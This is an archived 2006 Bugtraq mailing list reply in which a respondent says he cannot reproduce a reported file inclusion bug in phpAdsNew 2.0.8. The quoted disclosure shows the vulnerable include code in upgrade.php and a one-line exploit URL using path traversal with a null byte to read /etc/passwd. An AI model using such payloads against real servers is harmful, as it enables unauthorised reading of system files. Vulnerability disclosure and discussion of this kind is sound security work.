Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: phpAdsNew include bug!
From: Wim Godden <security () firstlinknetworks com>
Date: Wed, 18 Oct 2006 03:49:35 +0200

I can't reproduce this on any of our phpAdsNew 2.0.8 installations.
As it should, the login prompt is presented.

Kind regards,

Wim

At 20:02 17/10/2006, wacky () ihack pl wrote:

#######################################
Autors:
- Micha&#322; `wacky` B&#322;aszczak
- Nobody

http://iHACK.pl
#######################################
File: modules/phpads/admin/upgrade.php



Code:

// Load language strings
if (file_exists("../language/".$phpAds_config['language']."/default.lang.php"))
include("../language/".$phpAds_config['language']."/default.lang.php");
else
{
$phpAds_config['language'] = 'english';
include("../language/english/default.lang.php");
}



Exploit:

http://ihack.pl/phpAdsNew-2.0.8/admin/
upgrade.php?phpAds_config[language]=../../../etc/passwd%00


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault